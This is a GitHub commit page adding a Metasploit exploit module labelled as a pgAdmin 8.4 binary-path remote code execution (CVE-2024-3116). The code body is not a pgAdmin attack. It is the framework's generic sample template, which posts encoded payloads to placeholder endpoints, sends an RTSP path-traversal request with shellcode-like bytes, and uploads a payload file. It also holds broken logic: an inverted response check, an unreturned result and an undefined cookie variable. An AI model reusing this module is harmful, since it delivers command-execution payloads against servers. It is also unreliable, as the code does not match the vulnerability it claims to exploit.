Skip to content

Commit d1ce041

Browse files
committed
Inital commit and Rubocop fixes
1 parent d6a03b2 commit d1ce041

File tree

1 file changed

+161
-0
lines changed

1 file changed

+161
-0
lines changed
Lines changed: 161 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,161 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Exploit::Remote
7+
Rank = ExcellentRanking
8+
9+
#
10+
# This exploit affects a webapp, so we need to import HTTP Client
11+
# to easily interact with it.
12+
#
13+
prepend Msf::Exploit::Remote::AutoCheck
14+
include Msf::Exploit::Remote::HttpClient
15+
16+
17+
18+
def initialize(info = {})
19+
super(
20+
update_info(
21+
info,
22+
'Name' => 'pgAdmin Binary Path API RCE',
23+
'Description' => %q{
24+
pgAdmin <= 8.4 is affected by a Remote Code Execution (RCE)
25+
vulnerability through the validate binary path API. This vulnerability
26+
allows attackers to execute arbitrary code on the server hosting PGAdmin,
27+
posing a severe risk to the database management system's integrity and the security of the underlying data.
28+
29+
Tested on pgAdmin 8.4 on Windows 10.
30+
},
31+
'License' => MSF_LICENSE,
32+
'Author' => [
33+
'M.Selim Karahan', # metasploit module
34+
'Ayoub Mokhtar' # vulnerability discovery and write up
35+
],
36+
'References' => [
37+
[ 'CVE', '2024-3116'],
38+
[ 'URL', 'https://ayoubmokhtar.com/post/remote_code_execution_pgadmin_8.4-cve-2024-3116/'],
39+
[ 'URL', 'https://www.vicarius.io/vsociety/posts/remote-code-execution-vulnerability-in-pgadmin-cve-2024-3116']
40+
],
41+
'Platform' => ['windows'],
42+
'Arch' => ARCH_X64,
43+
'Targets' => [
44+
[ 'Automatic Target', {}]
45+
],
46+
'DisclosureDate' => '2024-03-28',
47+
'DefaultTarget' => 0,
48+
# https://docs.metasploit.com/docs/development/developing-modules/module-metadata/definition-of-module-reliability-side-effects-and-stability.html
49+
'Notes' => {
50+
'Stability' => [ CRASH_SAFE, ],
51+
'Reliability' => [ ARTIFACTS_ON_DISK, CONFIG_CHANGES, IOC_IN_LOGS, ],
52+
'SideEffects' => [ REPEATABLE_SESSION, ]
53+
}
54+
)
55+
)
56+
register_options(
57+
[
58+
Opt::RPORT(80),
59+
OptString.new('USERNAME', [ false, 'User to login with', 'admin']),
60+
OptString.new('PASSWORD', [ false, 'Password to login with', '123456']),
61+
OptString.new('TARGETURI', [ true, 'The URI of the Example Application', '/example/'])
62+
]
63+
)
64+
end
65+
66+
#
67+
# The sample exploit checks the index page to verify the version number is exploitable
68+
# we use a regex for the version number
69+
#
70+
def check
71+
# only catch the response if we're going to use it, in this case we do for the version
72+
# detection.
73+
res = send_request_cgi(
74+
'uri' => normalize_uri(target_uri.path, 'index.php'),
75+
'method' => 'GET'
76+
)
77+
# gracefully handle if res comes back as nil, since we're not guaranteed a response
78+
# also handle if we get an unexpected HTTP response code
79+
return CheckCode::Unknown("#{peer} - Could not connect to web service - no response") if res.nil?
80+
return CheckCode::Unknown("#{peer} - Check URI Path, unexpected HTTP response code: #{res.code}") if res.code == 200
81+
82+
# here we're looking through html for the version string, similar to:
83+
# Version 1.2
84+
%r{Version: (?<version>\d{1,2}\.\d{1,2})</td>} =~ res.body
85+
86+
if version && Rex::Version.new(version) <= Rex::Version.new('1.3')
87+
CheckCode::Appears("Version Detected: #{version}")
88+
end
89+
90+
CheckCode::Safe
91+
end
92+
93+
#
94+
# The exploit method attempts a login, then attempts to throw a command execution
95+
# at a web page through a POST variable
96+
#
97+
def exploit
98+
# attempt a login. In this case we show basic auth, and a POST to a fake username/password
99+
# simply to show how both are done
100+
vprint_status('Attempting login')
101+
# since we will check res to see if auth was a success, make sure to capture the return
102+
res = send_request_cgi(
103+
'uri' => normalize_uri(target_uri.path, 'login.php'),
104+
'method' => 'POST',
105+
'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']),
106+
# automatically handle cookies with keep_cookies. Alternatively use cookie = res.get_cookies and 'cookie' => cookie,
107+
'keep_cookies' => true,
108+
'vars_post' => {
109+
'username' => datastore['USERNAME'],
110+
'password' => datastore['PASSWORD']
111+
},
112+
'vars_get' => {
113+
'example' => 'example'
114+
}
115+
)
116+
117+
# a valid login will give us a 301 redirect to /home.html so check that.
118+
# ALWAYS assume res could be nil and check it first!!!!!
119+
fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?
120+
fail_with(Failure::UnexpectedReply, "#{peer} - Invalid credentials (response code: #{res.code})") unless res.code == 301
121+
122+
# we don't care what the response is, so don't bother saving it from send_request_cgi
123+
# datastore['HttpClientTimeout'] ONLY IF we need a longer HTTP timeout
124+
vprint_status('Attempting exploit')
125+
send_request_cgi({
126+
'uri' => normalize_uri(target_uri.path, 'command.html'),
127+
'method' => 'POST',
128+
'vars_post' =>
129+
{
130+
'cmd_str' => payload.encoded
131+
}
132+
}, datastore['HttpClientTimeout'])
133+
134+
# send_request_raw is used when we need to break away from the HTTP protocol in some way for the exploit to work
135+
send_request_raw({
136+
'method' => 'DESCRIBE',
137+
'proto' => 'RTSP',
138+
'version' => '1.0',
139+
'uri' => '/' + ('../' * 560) + "\xcc\xcc\x90\x90" + '.smi'
140+
}, datastore['HttpClientTimeout'])
141+
142+
# example of sending a MIME message
143+
data = Rex::MIME::Message.new
144+
# https://github.com/rapid7/rex-mime/blob/master/lib/rex/mime/message.rb
145+
file_contents = payload.encoded
146+
data.add_part(file_contents, 'application/octet-stream', 'binary', "form-data; name=\"file\"; filename=\"uploaded.bin\"")
147+
data.add_part('example', nil, nil, "form-data; name=\"_wpnonce\"")
148+
149+
post_data = data.to_s
150+
151+
res = send_request_cgi(
152+
'method' => 'POST',
153+
'uri' => normalize_uri(target_uri.path, 'async-upload.php'),
154+
'ctype' => "multipart/form-data; boundary=#{data.bound}",
155+
'data' => post_data,
156+
'cookie' => cookie
157+
)
158+
rescue ::Rex::ConnectionError
159+
fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
160+
end
161+
end

0 commit comments

Comments
 (0)